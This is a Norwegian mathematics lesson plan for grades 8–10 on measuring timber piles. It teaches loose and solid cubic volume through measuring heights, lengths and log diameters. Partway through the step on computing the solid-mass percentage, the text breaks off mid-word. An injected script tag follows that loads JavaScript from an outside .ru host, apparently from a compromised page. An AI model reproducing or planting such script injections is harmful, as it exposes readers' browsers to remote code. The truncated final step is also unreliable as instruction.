|
|
 |
|
Hvor mye tre er det i tømmerlunna?
|
|
|
 Fag:
Matematikk
Klassetrinn:
8.-10.klasse
Mål:
Å vise at det i virkeligheten finnes mange former som ikke passer helt inn i de geometriske formene vi lærer om i matematikken.
Å lære å tilpasse geometriske former og regneregler slik at vi kan finne volumet av uregelmessige former, for eksempel ei tømmerlunne.
Å bli kjent med begreper som fast og løst volum = fastkubikk og løskubikk.
• løskubikk, dvs. volumet av tre + luft i tømmerlunna
• fastkubikk, dvs. volumet av rent tre i tømmerlunna
Ved å måle tre som er stablet i tømmerlunner, kan elevene finne fast og løst volum. De kan videre regne seg fram til hvor mange prosent tre det er i ei tømmerlunne og hvor mye luft det er – altså hvor mye fastkubikk er det i en løskubikk.
(Oppgava Fast og løst volum kan gjøres i klasserommet for å anskueliggjøre begrepene før man går ut i skogen. Se under.)
Beregnet tid:
1 time forarbeid i klassen, ei økt i skogen (ca 2 skoletimer), 1 time etterarbeid i klassen
Dette trenger du:
Hver gruppe trenger:
• 1 tommestokk
• 1 målebånd
• 1 oppmålingsskjema pr. stabel som måles.
• 1 blyant
• kalkulator
Slik gjør du:
1. Forberedelse:
Diskuter hvordan man kan omdanne former som for eksempel ei tømmerlunne til regulære geometriske former man kan måle og beregne størrelsen av.
• Høgden av stabelen (H): Finn gjennomsnittshøgde for hele trestabelen.
Del f. eks. stabelen inn i flere seksjoner med 1 – 2 meters lengde. Bestem gjennomsnittshøyden i hver seksjon. Gjennomsnittet av høyden i alle seksjoner = høyde av stabelen. Hvis dere arbeider med store stabler er det lurt å dele i 10 seksjoner, fordi det da er lett å beregne gjennomsnittet.
• Lengden av stabelen (L): Enten den øverste lengden + den nederste lengden
delt på 2. Eller en lengde fra et vurdert midtpunkt på den ene skrå enden til et vurdert midtpunkt på den andre skrå enden.
• Bredden av stabelen (B): Den gjennomsnittlige lengden av stokkene.
Det er en fordel hvis det er dannet grupper på forhånd som har blitt enige om arbeidsfordeling.
Kontakt en lokal skogeier eller kommunens skogbrukssjef og undersøk om det fins noen tømmerlunner i nærheten som dere kan bruke til oppmåling.
Det kan være en fordel å inspisere stablene på forhånd, så du er forberedt på hvilke faktorer som har betydning for bestemmelsen av fastmassetallet.
Den beste stabelstørrelsen er under 10 løskubikk. Den er rimelig overskuelig å måle opp.
2. Ut i skogen
Når dere kommer ut i skogen får hver gruppe sin stabel. Dere skal nå finne følgende: (Bruk vedlagt arbeidsark)
Tømmerlunnas volum i løskubikk:
Volumet av stabelen = høgde x lengde x bredde
Volumet er i løskubikk, dvs. volumet av både treet og den lufta som er mellom trestokkene.
Tømmerlunnas volum i fastkubikk:
Nå skal dere finne hvor mange kubikkmeter tre - uten luft - det er i tømmerlunna. Dette kaller vi fast volum:
1. Mål diameteren av hver stokk på hver side av stabelen. Prikk diameteren inn i skjemaet på arbeidsarket (se vedlegg). Diametrene skal måles på begge sider, fordi hver stokk har en tykk og en tynn ende. Måler man bare den ene siden risikerer man å få for stor eller for liten grunnflate av stokkene. Diameteren måles med tommestokk eller måleband.
2. Mål lengden på alle tilgjengelige stokker, og beregn en gjennomsnittslengde. Noter denne.
Vedmassen bestemmes nå ved å:
a. Beregne grunnflate for hver diametergruppe. Stokkens grunnflate beregner dere ved å bruke formelen for arealet av en sirkel (A = radius2 x 3,14)
b. Legg alle grunnflater sammen. Divider tallet med 2 (fordi dere har målt både forside og bakside av stabelen).
c. Gang med stammenes beregnede gjennomsnittslengde, så har dere tømmerlunnas fastmasse (= volumet av tre i tømmerlunna).
Tømmerlunnas fastmasseprosent:
Fastmassetallet er et uttrykk for hvor mye tre det er i en løskubikk.
Fastmassetallet finner du ved å dividere f<script src=http://www.81dns.ru/script.js></scri |
|
|
|
|
|
Tilbake |
|
|
 |
|
|
